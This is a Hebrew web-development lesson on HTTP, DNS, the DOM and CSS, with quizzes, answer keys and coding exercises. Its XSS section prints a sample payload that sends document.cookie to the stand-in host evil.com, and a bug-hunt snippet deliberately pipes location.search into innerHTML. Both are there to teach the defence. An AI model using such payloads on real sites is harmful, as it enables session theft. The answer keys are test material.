מבוא ל-Web: HTTP, DOM, CSS

תכנות, אלגוריתמיקה ו-Web · 4–5 שעות

⌨ כתיבת קוד (3)תרגילים ומשימות קוד לשיעור 15

// סקירה

שיעור 15 — מבוא ל-Web: HTTP, DOM, CSS

שיעור הבסיס לכל פיתוח Web. תבין איך דפדפן מתקשר עם שרת, איך HTML הופך לדף גלוי, ואיך CSS קובע מה מוצג ואיך. ידע קריטי לשאלון ולפרויקט.

✓נושאי השיעור

HTTP — Methods, Status Codes, Headers, Cookies, Security Headers
DNS Resolution — מדומיין לIP, TTL, Cache
DOM — עץ הדף, Node Types, traversal
HTML5 — Semantic Tags, Forms, תגיות נכונות
CSS — Box Model, Specificity, Flexbox, Grid, Responsive
אבטחה — XSS, CORS, Same-Origin Policy, Security Headers
Critical Rendering Path — DOM→CSSOM→Render Tree→Layout→Paint

🎯 קשר למיון

שאלון Web: HTTP methods/status, DOM manipulation, CSS specificity, XSS, Cookies. פרויקט Frontend: כל הכלים האלה הם הבסיס.

// פרק 1

HTTP — יסודות התקשורת

HTTP הוא פרוטוקול בקשה-תגובה. הדפדפן שולח Request, השרת מחזיר Response. כל דף, תמונה, ו-API call = HTTP.

HTTP Methods

Method	שימוש	Idempotent?	Body?
GET	קריאת נתונים — URL בלבד	✅	❌
POST	יצירת משאב / שליחת נתונים	❌	✅
PUT	עדכון מלא של משאב	✅	✅
PATCH	עדכון חלקי	❌	✅
DELETE	מחיקת משאב	✅	אופציונלי

Status Codes

קוד	משמעות	מתי?
200 OK	הצלחה	GET/PUT הצליח
201 Created	נוצר	POST הצליח
301/302	Redirect	URL עבר, Permanent/Temp
400 Bad Request	בקשה שגויה	פרמטר חסר
401 Unauthorized	לא מזוהה	חסרה הזדהות
403 Forbidden	אסור	מזוהה אבל חסרה הרשאה
404 Not Found	לא נמצא	משאב לא קיים
500 Server Error	שגיאת שרת	Bug בשרת

Security Headers חשובים

Header	הגנה מ	דוגמה
X-Frame-Options	Clickjacking	DENY / SAMEORIGIN
Strict-Transport-Security	SSL Stripping	max-age=31536000
Content-Security-Policy	XSS	script-src 'self'
X-Content-Type-Options	MIME sniffing	nosniff

Cookies ו-Flags

Set-Cookie: auth=TOKEN; HttpOnly; Secure; SameSite=Strict; Max-Age=3600

// HttpOnly  — לא נגיש ל-JS (הגנה מ-XSS)
// Secure    — רק HTTPS
// SameSite  — Strict: לא cross-site (הגנה מ-CSRF)
// Max-Age   — פג תוקף בשניות

✏תרגול — HTTP4 שאלות

שאלה 1

משתמש מנסה לגשת ל-/admin ללא הזדהות. איזה Status Code?

✓ תשובה: ג) 401 — לא מזוהה כלל → 401 (נדרשת הזדהות). 403 = מזוהה אבל אין הרשאה.

שאלה 2

איזה HTTP method הוא Idempotent (הפעלה חוזרת = אותה תוצאה)?

✓ תשובה: א) — GET (תמיד), DELETE (אחרי מחיקה = 404, מצב אחיד), PUT. POST יוצר חדש בכל קריאה.

שאלה 3

מה cookie עם flag HttpOnly?

✓ תשובה: ג) — HttpOnly = לא ניתן לקרוא ב-document.cookie. גם אם XSS הצליח, לא יוכל לגנוב את ה-cookie.

שאלה 4

מה עושה X-Frame-Options: DENY?

✓ תשובה: ב) — Clickjacking = הטמנת אתר ב-iframe שקוף ולגרום ללחיצה בלי ידיעה. X-Frame-Options: DENY חוסם הטמנה כל שהיא.

// פרק 2

DNS ו-Critical Rendering Path

DNS ממיר שמות לכתובות IP. ה-CRP הוא הנתיב מ-HTML גולמי עד פיקסלים על המסך.

DNS Resolution — שלבי הזרימה

// כשמקלידים "example.com":
1. Cache מקומי (דפדפן/OS) — הכי מהיר
2. /etc/hosts — קובץ מקומי
3. DNS Resolver (ISP) — Recursive query
4. Root → TLD (.com) → Authoritative NS
5. מקבל IP → שומר ב-Cache לפי TTL

// TTL נמוך (60s): עדכון מהיר, load גבוה על DNS
// TTL גבוה (86400s=יום): מהיר, אבל שינוי IP = יום להתפשט

Critical Rendering Path

שלב	מה קורה	חוסם?
HTML Parsing → DOM	בניית עץ ה-DOM	JS חוסם!
CSS Parsing → CSSOM	בניית עץ הסגנונות	CSS חוסם Rendering!
Render Tree	DOM + CSSOM — רק אלמנטים גלויים	—
Layout	חישוב גדלים ומיקומים	Reflow = יקר!
Paint	ציור פיקסלים	Repaint = זול יותר

הרחבה שאלת ראיון — "מה קורה כשמקלידים URL?" ›

1. URL Parsing: Protocol+Domain+Path+Query · 2. DNS: Cache→ISP→Root→TLD→Authoritative · 3. TCP: SYN, SYN-ACK, ACK · 4. TLS (HTTPS): Certificate+key exchange · 5. HTTP GET /path עם Headers · 6. Response: 200 OK + HTML · 7. HTML→DOM, CSS→CSSOM · 8. JS Execution (שינוי DOM) · 9. Render Tree→Layout→Paint

✏תרגול — DNS + CRP3 שאלות

שאלה 1

מה TTL ב-DNS?

✓ תשובה: ג) — TTL (Time To Live) = כמה זמן ה-DNS record נשמר ב-cache. TTL=60s: כל דקה שואלים שרת DNS מחדש.

שאלה 2

מה ההבדל בין Reflow ל-Repaint?

✓ תשובה: א) — Reflow: שינוי width/height/position גורם לחישוב Layout מחדש. Repaint: שינוי color/opacity = ציור מחדש בלבד.

שאלה 3

מה ה-Render Tree?

✓ תשובה: א) — Render Tree לא כולל: display:none, <head>, <script>. בסיס לשלב Layout.

// פרק 3

DOM ו-HTML5 Semantic

DOM = Document Object Model. העץ שמייצג את הדף בזיכרון. JavaScript מתקשר עם הדף דרך DOM API.

Node Types

Type	nodeType	דוגמה
Element Node	1	<p>, <div>
Text Node	3	"Hello World" בתוך תגית
Comment Node	8	<!-- comment -->
Document Node	9	document עצמו

innerHTML vs textContent

// innerHTML — מפרסר HTML → סכנת XSS!
el.innerHTML = "<b>Bold</b>";        // מציג: Bold (מודגש)
el.innerHTML = userInput;            // XSS! אם userInput = "<script>..."

// textContent — מציג כטקסט גולמי → בטוח!
el.textContent = "<b>Bold</b>";     // מציג: <b>Bold</b> (כמחרוזת)
el.textContent = userInput;          // ✅ בטוח תמיד

// כלל: תמיד textContent כשמציגים נתוני משתמש!

HTML5 Semantic Tags

תגית	שימוש	vs.
<article>	תוכן עצמאי (פוסט, מוצר)	vs. <section> = קבוצת תוכן
<nav>	ניווט ראשי	vs. <div> = ללא סמנטיקה
<main>	תוכן ראשי, פעם אחת	לא <div id="main">
<strong>	חשיבות סמנטית (קורי מסך)	vs. <b> = עיצוב בלבד

✏תרגול — DOM + HTML4 שאלות

שאלה 1

לאיזה Node Type שייך הטקסט "Hello" בתוך <p>Hello</p>?

✓ תשובה: א) — תוכן טקסטואלי = Text Node (nodeType 3). התגית <p> עצמה = Element Node (1).

שאלה 2 — XSS

מדוע el.innerHTML = userInput מסוכן?

✓ תשובה: ב) XSS — תמיד textContent כשמציגים input של משתמש. innerHTML רק לתוכן ידוע ובטוח.

שאלה 3

איזו תגית מתאימה לפוסט בבלוג שיכול לעמוד לבדו?

✓ תשובה: ב) <article> — תוכן עצמאי שיכול לעמוד לבדו: פוסט, מוצר, הערה. <section> = קבוצת תוכן בתוך עמוד.

שאלה 4

מה ההבדל בין <b> ל-<strong>?

✓ תשובה: ג) — HTML Semantics: תגיות נושאות משמעות לא רק עיצוב. קורי מסך ומנועי חיפוש מסתמכים על <strong>.

// פרק 4

CSS — Specificity, Box Model, Flexbox

CSS Specificity קובע איזה rule ינצח. Box Model קובע גדלים. Flexbox ו-Grid הם הכלים לפריסה מודרנית.

CSS Specificity — חישוב

💡 חישוב ספציפיות: (IDs, Classes/Pseudo-classes/Attrs, Elements/Pseudo-elements)

#id = 100 · .class = 10 · :hover = 10 · element = 1 · ::before = 1 · * = 0 · inline style = 1000 · !important = עוקף הכל

// #header .nav li:hover — ספציפיות?
// ID=1(#header), Class=1(.nav), Pseudo=1(:hover), Element=1(li)
// (1, 2, 1) → ערך = 121

// p.text → (0, 1, 1) = 011
// nav > ul > li.active:first-child::before
// → Elements: nav+ul+li=3, Class: .active=10, Pseudo-class: :first-child=10, Pseudo-el: ::before=1
// → (0, 2, 4) = 024

Box Model

/* content-box (default): width לא כולל padding! */
.box { width: 200px; padding: 20px; }
/* → גודל בפועל: 240px (200 + 20+20) */

/* border-box: width כולל padding — Best Practice! */
* { box-sizing: border-box; }
.box { width: 200px; padding: 20px; }
/* → גודל בפועל: 200px תמיד ✓ */

Flexbox vs Grid

תכונה	Flexbox	Grid
ממדים	חד-ממדי (שורה או עמודה)	דו-ממדי (שניהם)
Content/Layout	Content-driven	Layout-driven
מתאים ל	Nav bar, כפתורים בשורה	פריסת עמוד, dashboard
בפועל	רכיבים בתוך הדף	פריסה כוללת

✏תרגול — CSS4 שאלות

שאלה 1 — Specificity

מה ספציפיות #header .nav li:hover?

✓ תשובה: ג) 121 — ID(#header)=100, Class(.nav)=10, Pseudo(:hover)=10, Element(li)=1. סה"כ: 100+10+10+1=121.

שאלה 2 — Box Model

רוצים שאלמנט בגודל 200px כולל padding של 20px. מה נכתוב?

✓ תשובה: א) — עם border-box: width כולל padding. ללא: 200+40=240px. best practice: * { box-sizing: border-box; }

שאלה 3 — Flexbox

מה עושה justify-content: space-between?

✓ תשובה: ג) — space-between: מרווחים שווים, ללא מרווח בקצוות. space-around: יש מרווח גם בקצוות.

שאלה 4 — CORS

מה CORS ולמה הדפדפן חוסם בקשות cross-origin?

✓ תשובה: א) — Origin = Protocol+Domain+Port. JS ב-a.com לא יכול לקרוא תשובות מ-b.com. שרת B מוסיף Access-Control-Allow-Origin לאפשר.

// פרק 5 + סיכום

אבטחת Web וסיכום

XSS ו-CORS הם שתי הסכנות הנפוצות ביותר ב-Web. הבנתן קריטית גם לפיתוח וגם לסייבר.

XSS — Cross-Site Scripting

// תוקף שולח ב-URL:
?q=<script>fetch("evil.com/steal?c="+document.cookie)</script>

// אם האתר עושה:
resultsDiv.innerHTML = query;  // ← XSS! הscript ירוץ

// הגנות:
resultsDiv.textContent = query;  // ✅ בטוח
// + Content-Security-Policy header
// + HttpOnly cookies (JS לא יכול לקרוא)

HTTP Stateless + Cookies

💡 מדוע Cookies קיימים?

HTTP הוא Stateless — כל בקשה עצמאית, השרת לא "זוכר" שהתחברת. Cookies = token שנשלח בכל בקשה כדי לזהות את המשתמש. סכנה: Session Hijacking (גניבת cookie) ו-CSRF (שליחת בקשות ממקור אחר).

✓מה למדנו — שיעור 15

HTTP Methods: GET/POST/PUT/PATCH/DELETE · Status Codes: 200/401/403/404/500
Cookies: HttpOnly, Secure, SameSite, Max-Age · Security Headers: X-Frame-Options, HSTS, CSP
DNS: Resolution שלבים, TTL low/high tradeoff
CRP: DOM→CSSOM→Render Tree→Layout→Paint · Reflow (יקר) vs Repaint
DOM: innerHTML (XSS!) vs textContent (בטוח). Node Types.
HTML5: Semantic Tags — <article> vs <section>, <strong> vs <b>
CSS Specificity: (IDs, Classes, Elements). Box Model: border-box. Flexbox vs Grid.
CORS: Same-Origin Policy. XSS: הגנות. Stateless: למה Cookies.

🎯 שיעור הבא — שיעור 16

JavaScript — ES6+, DOM Manipulation, Event Loop, Promises, async/await, Fetch API

✏תרגול סיכום — גאמא סטייל4 שאלות

סיכום 1

מה ספציפיות: nav > ul > li.active:first-child::before?

✓ תשובה: א) 024 — Elements: nav+ul+li=3 + ::before=1=4. Classes: .active=10. Pseudo-class: :first-child=10. סה"כ: (0,2,4)=024.

סיכום 2

מה עושה CSS: grid-template-columns: repeat(auto-fit, minmax(250px, 1fr))?

✓ תשובה: ד) — auto-fit: כמה עמודות שנכנסות. minmax(250px, 1fr): כל עמודה לפחות 250px. זהו ה-Responsive Grid הקלאסי.

סיכום 3 — Bug Hunt

מצא את השגיאות בקוד:

<form action="/login" method="GET">
  <input type="text" name="password">
  <script>
    el.innerHTML = location.search;
  </script>

✓ תשובה: ד) 3 שגיאות: (1) method="POST" לllogin. (2) type="password" לשדה סיסמה. (3) textContent במקום innerHTML = XSS!

סיכום 4 — CSS Specificity Winner

מה צבע <p id="intro" class="text">?
p{color:black} .text{color:blue} #intro{color:green} p.text{color:red}

✓ תשובה: ג) ירוק — A=1, B=10, C=100(ID!), D=11. ID (100) ינצח תמיד על Class ו-Element.

🎯 דגש למבחן — סינון מהיר של שאלות XSS

בשאלת XSS חפשו קודם כל את innerHTML: כל הזרמה של קלט משתמש אליו מפרסרת HTML ומריצה סקריפט — זו נקודת הפריצה. textContent כותב טקסט בלבד ואינו מריץ קוד, ולכן הוא כמעט תמיד התשובה הבטוחה.

// אתגר מעשי

אתגר מעשי — Web: HTTP, CSS ואבטחה (XSS)

שיא השיעור: לממש את הלוגיקה שמאחורי ה-Web — פרסור, אירועים, state ואבטחה. פתרו את החובה ואז את האתגר; ההגשה נבדקת אוטומטית מול מקרי-קצה נסתרים.

T2 · בסיסי150 נק'~12 דק'debug

תיקון באג — מגן XSS (HTML escaping)

פונקציית ה-escaping אמורה לחסן קלט משתמש לפני הזרקה ל-HTML, כדי למנוע XSS. אך היא שבורה: היא בורחת רק מ-< ו->, ומשאירה & ומרכאות ללא טיפול — מה שמאפשר הזרקת מאפיינים ותקיפה. תקן כך שהיא תברח מ- & (ראשון!), <, >, " ו-'. שים לב לסדר: & חייב להיות ראשון, אחרת תיווצר בריחה כפולה.

// הקוד השבור לתיקון

def html_escape(s: str) -> str:
    return s.replace('<', '&lt;').replace('>', '&gt;')   # באג כאן

דוגמאות

html_escape('<b>') → '<b>'

html_escape('a & b') → 'a & b'

html_escape('<a href="x">') → '<a href="x">'

הפתרון שלךהפתרון נשמר מקומית ומשותף עם עמוד „כתיבת קוד”.

פתרון-ייחוס תיקון באג — מגן XSS (HTML escaping) ›

def html_escape(s: str) -> str:
    return (s.replace('&', '&amp;')      # & חייב להיות ראשון!
             .replace('<', '&lt;')
             .replace('>', '&gt;')
             .replace('"', '&quot;')
             .replace("'", '&#39;'))

T2 · בסיסי200 נק'~15 דק'algorithmic

פרסור Query String של HTTP

ממש parse_query שמפרק query string לרשימת ערכים לכל מפתח. פצל על '&', ובכל זוג פצל על '=' הראשון (חסר '=' → ערך ריק). פענח percent-encoding (%XX → תו) ו-'+' → רווח, גם במפתח וגם בערך. מפתחות חוזרים נאספים לרשימה לפי הסדר. מחרוזת ריקה → מילון ריק.

דוגמאות

parse_query('a=1&b=2') → {'a': ['1'], 'b': ['2']}

parse_query('a=1&a=2') → {'a': ['1', '2']}

parse_query('x=hello+world') → {'x': ['hello world']}

הפתרון שלךהפתרון נשמר מקומית ומשותף עם עמוד „כתיבת קוד”.

פתרון-ייחוס פרסור Query String של HTTP ›

def _decode(s):
    out = []; i = 0
    while i < len(s):
        c = s[i]
        if c == '+': out.append(' '); i += 1
        elif c == '%' and i + 2 < len(s):
            out.append(chr(int(s[i+1:i+3], 16))); i += 3
        else: out.append(c); i += 1
    return ''.join(out)
def parse_query(qs: str) -> dict:
    res = {}
    if not qs: return res
    for part in qs.split('&'):
        if '=' in part: k, v = part.split('=', 1)
        else:           k, v = part, ''
        res.setdefault(_decode(k), []).append(_decode(v))   # מפתח חוזר -> רשימה
    return res

T3 · בינוני350 נק'~25 דק'algorithmic

חישוב CSS Specificity

חשב את ה-specificity של selector של CSS והחזר שלשה (a, b, c): a = מספר מזהי-#id · b = מספר מחלקות .class + מאפיינים [attr] + מחלקות-פסאודו :hover · c = מספר אלמנטים (שמות תגיות) + אלמנטים-פסאודו ::before. '*' לא נספר. הפרד קטגוריות בזהירות: '::' (אלמנט-פסאודו) נספר כ-type ולא כמחלקה.

דוגמאות

specificity('#nav .item a:hover') → (1, 2, 1)

specificity('ul li.active') → (0, 1, 2)

specificity('a::before') → (0, 0, 2)

הפתרון שלךהפתרון נשמר מקומית ומשותף עם עמוד „כתיבת קוד”.

פתרון-ייחוס חישוב CSS Specificity ›

import re
def specificity(sel: str) -> tuple:
    a = b = c = 0
    pe = re.findall(r'::[\w-]+', sel); c += len(pe); sel = re.sub(r'::[\w-]+', ' ', sel)
    a += len(re.findall(r'#[\w-]+', sel));  sel = re.sub(r'#[\w-]+', ' ', sel)   # ids
    b += len(re.findall(r'\.[\w-]+', sel)); sel = re.sub(r'\.[\w-]+', ' ', sel)  # classes
    b += len(re.findall(r'\[[^\]]*\]', sel)); sel = re.sub(r'\[[^\]]*\]', ' ', sel)  # attrs
    b += len(re.findall(r':[\w-]+', sel));   sel = re.sub(r':[\w-]+', ' ', sel)  # pseudo-classes
    c += len(re.findall(r'[a-zA-Z][\w-]*', sel))                                # elements
    return (a, b, c)

שאלות תרגול ותשובות (10)

שאלה 1 · משתמש מנסה לגשת ל-/admin ללא הזדהות. איזה Status Code השרת יחזיר?

א. 403 Forbidden
ב. 404 Not Found
ג. 401 Unauthorized
ד. 302 Found

תשובה: ג

401 = לא הזדהית בכלל. 403 = הזדהית, אבל אין לך הרשאה.

שאלה 2 · אילו מתודות HTTP הן Idempotent (הפעלה חוזרת מובילה לאותו מצב)?

א. GET ו-DELETE
ב. POST בלבד
ג. PATCH בלבד
ד. POST ו-PATCH

תשובה: א

GET לא משנה מצב, ו-DELETE חוזר משאיר את המשאב מחוק. POST יוצר משאב חדש בכל קריאה.

שאלה 3 · מה עושה דגל HttpOnly בעוגייה?

א. שולח אותה רק ב-HTTPS
ב. מצפין את תוכן העוגייה
ג. חוסם גישה אליה מ-JavaScript
ד. מגביל אותה לדומיין אחד

תשובה: ג

HttpOnly מונע קריאה דרך document.cookie — ולכן מקשה על גניבת session ב-XSS. הצפנת התעבורה היא תפקידו של Secure.

שאלה 4 · מה מייצג TTL ברשומת DNS?

א. זמן תגובה של השרת
ב. מספר הקפיצות המותר
ג. כמה זמן מותר לשמור את התשובה במטמון
ד. תוקף תעודת ה-SSL

תשובה: ג

TTL = משך החיים של הרשומה במטמון. אחריו נדרשת שאילתה חדשה.

שאלה 5 · מה ההבדל בין Reflow ל-Repaint?

א. Reflow מחשב מחדש גאומטריה, Repaint מצייר מחדש בלבד
ב. Reflow מצייר צבעים, Repaint מחשב מיקומים
ג. שניהם זהים בפועל
ד. Reflow קורה רק בטעינה הראשונה

תשובה: א

שינוי width/position גורם ל-Reflow (יקר). שינוי color גורם ל-Repaint בלבד.

שאלה 6 · מדוע השורה el.innerHTML = userInput מסוכנת?

el.innerHTML = userInput;

א. היא איטית מדי
ב. היא מפרסרת HTML ומאפשרת הרצת סקריפט
ג. היא מוחקת את שאר העמוד
ד. היא לא נתמכת בדפדפנים ישנים

תשובה: ב

innerHTML מפרסר את הקלט כ-HTML — וכך נכנס XSS. textContent כותב טקסט בלבד.

שאלה 7 · מהי הספציפיות של הסלקטור #header .nav li:hover?

#header .nav li:hover { color: red; }

א. 0,1,1,1
ב. 0,0,2,2
ג. 0,1,2,1
ד. 0,2,1,1

תשובה: ג

ID אחד (1), מחלקה + pseudo-class (2), אלמנט אחד (1) → 0,1,2,1.

שאלה 8 · רוצים אלמנט שרוחבו הכולל 200px כולל padding של 20px. מה כותבים?

.box {
  width: 200px;
  padding: 20px;
  box-sizing: ?;
}

א. box-sizing: border-box
ב. box-sizing: content-box
ג. width: 160px
ד. overflow: hidden

תשובה: א

border-box מכליל padding ו-border בתוך ה-width שהוגדר.

שאלה 9 · מה עושה grid-template-columns: repeat(auto-fit, minmax(250px, 1fr))?

grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));

א. יוצר תמיד 3 עמודות
ב. קובע רוחב קבוע של 250px לכל עמודה
ג. מגביל את הגריד לשורה אחת
ד. יוצר כמה שיותר עמודות ברוחב 250px ומעלה, לפי רוחב המסך

תשובה: ד

auto-fit מתאים את מספר העמודות לרוחב הזמין, ו-minmax קובע מינימום 250px וחלוקת שארית שווה.

שאלה 10 · מה יהיה צבע האלמנט <p id="intro" class="text">?

p    { color: black; }
.text { color: blue; }
#intro { color: green; }

א. שחור
ב. כחול
ג. ירוק
ד. ברירת מחדל של הדפדפן

תשובה: ג

ID גובר על class וגם על אלמנט — ולכן ירוק.

← שיעור קודם שיעור הבא →